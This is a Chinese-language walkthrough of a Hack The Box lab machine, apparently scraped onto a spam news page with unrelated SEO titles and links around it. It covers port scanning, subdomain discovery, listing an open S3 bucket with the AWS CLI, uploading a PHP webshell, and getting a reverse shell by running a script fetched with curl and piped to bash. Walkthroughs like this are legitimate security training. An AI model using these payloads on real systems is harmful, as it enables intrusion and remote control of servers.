当前位置: 首页 > news >正文

旅游网站建设的背景重庆网站免费优化

旅游网站建设的背景,重庆网站免费优化,怎么在网站上做排名,做网站需要提供什么文章目录 一 题目二 实验过程 一 题目 Tags Web、Cloud、Custom Applications、AWS、AWS、Reconnaissance、Web Site Structure Discovery、Bucket Enumeration、Arbitrary File Upload、Anonymous/Guest Access译文:Web、云、定制应用程序、AWS、AWS、侦察、网站…

文章目录

    • 一 题目
    • 二 实验过程


一 题目

Tags

Web、Cloud、Custom Applications、AWS、AWS、Reconnaissance、Web Site Structure Discovery、Bucket Enumeration、Arbitrary File Upload、Anonymous/Guest Access译文:Web、云、定制应用程序、AWS、AWS、侦察、网站结构发现、桶枚举、任意文件上传、匿名/访客访问

Connect

To attack the target machine, you must be on the same network.Connect to the Starting Point VPN using one of the following options.
It may take a minute for HTB to recognize your connection.If you don't see an update after 2-3 minutes, refresh the page.译文:要攻击目标机器,您必须位于同一网络上。使用以下选项之一连接到起点 VPN。
HTB 可能需要一分钟才能识别您的连接。如果 2-3 分钟后没有看到更新,请刷新页面。

SPAWN MACHINE

Spawn the target machine and the IP will show here.译文:生成目标机器,IP 将显示在此处

TASK 1

How many TCP ports are open?译文:打开了多少个 TCP 端口?答:2

TASK 2

What is the domain of the email address provided in the "Contact" section of the website?译文:网站"Contact" 部分中提供的电子邮件地址的域名是什么?答:thetoppers.htb

TASK 3

In the absence of a DNS server, which Linux file can we use to resolve hostnames to IP addresses in order to be able to access the websites that point to those hostnames?译文:在没有 DNS 服务器的情况下,我们可以使用哪个 Linux 文件将主机名解析为 IP 地址,以便能够访问指向这些主机名的网站?答:/etc/hosts

TASK 4

Which sub-domain is discovered during further enumeration?译文:进一步枚举时发现了哪个子域?答:s3.thetoppers.htb

TASK 5

Which service is running on the discovered sub-domain?译文:哪个服务正在发现的子域上运行?答:Amazon S3

TASK 6

Which command line utility can be used to interact with the service running on the discovered sub-domain?译文:哪个命令行实用程序可用于与在发现的子域上运行的服务进行交互?答:awscli

TASK 7

Which command is used to set up the AWS CLI installation?译文:使用哪个命令来设置 AWS CLI 安装?答:aws configure

TASK 8

What is the command used by the above utility to list all of the S3 buckets?译文:上述实用程序使用什么命令来列出所有 S3 存储桶?答:aws s3 ls

TASK 9

This server is configured to run files written in what web scripting language?译文:该服务器配置为运行用哪种 Web 脚本语言编写的文件?答:php

SUBMIT FLAG

Submit root flag译文:提交根标志

二 实验过程

1.端口扫描

nmap -sV -sC 10.129.251.57

在这里插入图片描述

2.访问web站点,发现地址邮件域名地址 thetoppers.htb

在这里插入图片描述

3.在host文件中绑定域名 thetoppers.htb

在这里插入图片描述

4.对主域 thetoppers.htb 进行子域名扫描

5.在host中绑定发现的子域名 s3.thetoppers.htb

在这里插入图片描述
6.访问s3.thetoppers.htb子域名发现

在这里插入图片描述

S3存储桶: S3 是一种对象存储服务,它将数据作为对象存储在存储桶中。对象是一个文件和描述该文件的任何元数据。桶是存放对象的容器,存储在 Amazon S3存储桶中的文件被称为S3对象 。 它允许我们将东西存储在称为桶的容器中 。 AWS S3存储桶有各种用例,包括备份和存储,媒体托管,软件交付,静态网站等。

7.使用aws客户端程序与S3存储桶交互

#列出服务器上托管的所有S3存储桶
aws --endpoint=http://s3.thetoppers.htb/ s3 ls
#列出指定存储桶下的对象和常用前缀,发现如下目录,为web网站的根目录
aws --endpoint=http://s3.thetoppers.htb/ s3 ls s3://thetoppers.htb

在这里插入图片描述

8.上传webshell

# 在当前目录下创建shell.php
echo '<?php system($_GET['cmd']);?>' >shell.php#将shell点php上传到thetoppers.htb下
aws --endpoint=http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb

在这里插入图片描述

9.访问shell.php并执行命令
在这里插入图片描述

10.反弹shell

#开启http服务器
python3 -m http.server 8000

在这里插入图片描述

# 在当前开启的web服务器目录上创建shell.sh文件,内容如下
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.11/1234 0>& 1
# 开启监听
ncat -lnvp 1234
# 利用curl从本地web服务器获取shell.sh,并通过管道传递给bash执行,获取到反弹shell
http://thetoppers.htb/shell.php?cmd=curl%2010.10.14.11:8000/shell.sh|bash

在这里插入图片描述

11.查找flag

在这里插入图片描述

http://www.yayakq.cn/news/450365/

相关文章:

  • 东营网站建设策划内容怎么开发手机网站
  • 网站开发需求分析主要内容如何做网站的二级页面
  • 中国太平保险集团官方网站网络推广目标怎么写
  • 免费建站赚钱wordpress加文字水印
  • 铜仁住房和城乡建设局网站制作小公司网站教程
  • php怎么做网站后台移动端网站建设
  • 模板网点地址信息获取错误是什么意思揭阳百度seo公司
  • 国外网站 设计公司网站推广技巧
  • 商城手机网站建设编辑wordpress模板下载
  • 如何建立网站站点wordpress html5音乐播放器
  • 基于jsp的电子商务网站开发怎么看一个网站是否是外包做的
  • 谢家华做网站免费推广途径
  • 山东学生做自我评价的网站wordpress termmeta
  • 泰拳图片做网站用清远网站开发sohu
  • 磁力搜索引擎torrentkitty网站如何优化流程
  • 苏州建站推广定制营销型网站设计难不难
  • 深圳外贸soho网站建设丝网外贸做哪些网站
  • 旅游品牌网站的建设wordpress academy
  • 自己做的网站怎么放视频教程erp系统的功能包括哪些
  • 网站开发人员应该用什么浏览器企业网站最底下做的是什么
  • 网站架构怎么看wordpress和discuz织梦
  • 铁岭 网站建设崇信门户网站留言回复
  • 博达站群网站建设教程it行业是什么工作 做什么的
  • 自助网站开发泽州县住房保障和城乡建设局网站
  • 设计优秀的企业网站展示产品的网站 个人备案还是企业
  • 网站改版 删除栏目网站的域名不能登录
  • 分析网站网站网站空间购买费用
  • 个人网站的建设流程wordpress预加载插件
  • 网站怎么seo北海哪家公司做网站建设研发
  • 长春网站优化团队wordpress主题 插件下载